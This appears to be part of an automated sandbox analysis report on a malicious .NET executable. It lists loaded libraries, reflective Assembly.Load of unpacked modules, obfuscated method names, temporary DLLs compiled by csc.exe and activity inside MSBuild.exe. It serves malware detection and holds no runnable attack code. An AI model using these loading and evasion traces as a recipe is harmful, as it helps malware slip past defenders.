Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: avifil32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: pstorec.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: samcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: avifil32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvfw32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msacm32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winmmbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winmmbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptui.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: pstorec.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll

Source: 0.2.zsd5jgZ9LU.exe.4df0000.8.raw.unpack, ManagesModules.cs	.Net Code: DataModule System.Reflection.Assembly.Load(byte[])
Source: 0.2.zsd5jgZ9LU.exe.3de3550.6.raw.unpack, ManagesModules.cs	.Net Code: DataModule System.Reflection.Assembly.Load(byte[])
Source: tkirzpgp.dll.1.dr, ManagesModules.cs	.Net Code: DataModule System.Reflection.Assembly.Load(byte[])
Source: qul4nop0.dll.19.dr, ManagesModules.cs	.Net Code: DataModule System.Reflection.Assembly.Load(byte[])

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_036372B8 push 03637315h; ret	16_2_0363730D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035F1010 push 035F1048h; ret	16_2_035F1040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035FA570 push ecx; mov dword ptr [esp], ecx	16_2_035FA574
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0360B498 push 0360B4DAh; ret	16_2_0360B4D2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0360849C push ecx; mov dword ptr [esp], eax	16_2_0360849D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035F2B80 push 035F2C24h; ret	16_2_035F2C1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_03631FB0 push 03631FF2h; ret	16_2_03631FEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035FDE54 push 035FDE96h; ret	16_2_035FDE8E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_03608D94 push 03608DE8h; ret	16_2_03608DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_03638C54 push 03638D29h; ret	16_2_03638D21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_03321B78 push ecx; mov dword ptr [esp], eax	16_2_03321B79
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0330C37D push eax; ret	16_2_0330C387
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_03321B48 push ecx; mov dword ptr [esp], eax	16_2_03321B49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0331290C push ecx; mov dword ptr [esp], ecx	16_2_03312910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0330A154 push 0330A18Ch; ret	16_2_0330A184
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0330A149 push 0330A18Ch; ret	16_2_0330A184
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_03318818 push 033188B1h; ret	16_2_033188A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_033227F0 push 033228E0h; ret	16_2_033228D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_03313ED4 push ecx; mov dword ptr [esp], ecx	16_2_03313ED7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037874E0 push 03787518h; ret	16_2_03787510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037DAA20 push 037DAB57h; ret	16_2_037DAB4F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037B7990 push 037B79D3h; ret	16_2_037B79CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0378DF38 push 0378DF74h; ret	16_2_0378DF6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0378DF3C push 0378DF74h; ret	16_2_0378DF6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0379DE74 push 0379DED4h; ret	16_2_0379DECC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037B7E28 push 037B7E6Ah; ret	16_2_037B7E62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0378BDD4 push 0378BE0Ch; ret	16_2_0378BE04
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037E1D80 push 037E1DBAh; ret	16_2_037E1DB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0353236C push ecx; mov dword ptr [esp], ecx	16_2_03532370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0353621C push ecx; mov dword ptr [esp], edx	16_2_0353621D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035342C0 push ecx; mov dword ptr [esp], ecx	16_2_035342C4

Source: zsd5jgZ9LU.exe, xVHRoSCZQErwnJ.cs	High entropy of concatenated method names: 'BNTOJdKElDkxmI', 'OdHTyzSyLHMt', 'IeiQCldlCnLaqFtnUX', 'STVEhqLERREDFLdpwsGJwtpv', 'qZdapwdyUeC', 'nFuxjpPxOOtqyficZpbxksjzB', 'OEemSTTakmlMtAr', 'KrsCbTqgfCQXEnMLbcdhbL', 'vXBzSiDzrd', 'btQjLcXnOKblUf'
Source: zsd5jgZ9LU.exe, Program.cs	High entropy of concatenated method names: 'ZFRpZgGSdz', 'fIqRCBpqhCEGBoPzbZrA', 'zvnLflIMWBwbS', 'VXoGaFrUfk', 'YRBqmKzfHuJA', 'IuXYuBwWsxnPK', 'onjsbdjvHsVjuvkNsH', 'qmHMxJSoSSs', 'uvofYEfKQswntlxXorweQ', 'OHfSFyijjRskpf'
Source: zsd5jgZ9LU.exe, ZRuRhMTt.cs	High entropy of concatenated method names: 'sHdAtuAuFodxvsX', 'RTutTaQQFs', 'DYAmgpmYXrRRKOIIQz', 'toRtGvMayqGcxbBssWzsVK', 'FXAnvbpoOPiheUBPRRUU', 'EPfQqkZbfRfSnByOnDVUjbnbHhcb', 'bsDfMdbaOnAo', 'YGXUiTZTrE', 'fAmBtveHPGDbAUreukTbNSjIPBr', 'VBrqZZkSSXYhOfxodytpLAHj'
Source: zsd5jgZ9LU.exe, EuBdvdXGDjRnwrt.cs	High entropy of concatenated method names: 'ceFDeqemXwBBVQnDZCyVqQgt', 'wFwrwCmvPvQW', 'qzyaHJNkwRnwrkNvgQctxTsyP', 'KGSeZZnZGKuDTDfHqr', 'JAqeZKHmFYuvCMeuUfkQYjJ', 'FyYeXlHnczwWsySVAXC', 'HOiEDYeMhGXMirrayuWTyCS', 'FXNzyISFTRAvnqv', 'ENbdViYygvXVNjAAeowxmHU', 'XFrpmnpcPulhbryBqBChfFAEQzi'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\xo2xvbmi\xo2xvbmi.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\qul4nop0.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\tkirzpgp\tkirzpgp.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\5wfb2epz.dll	Jump to dropped file

Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
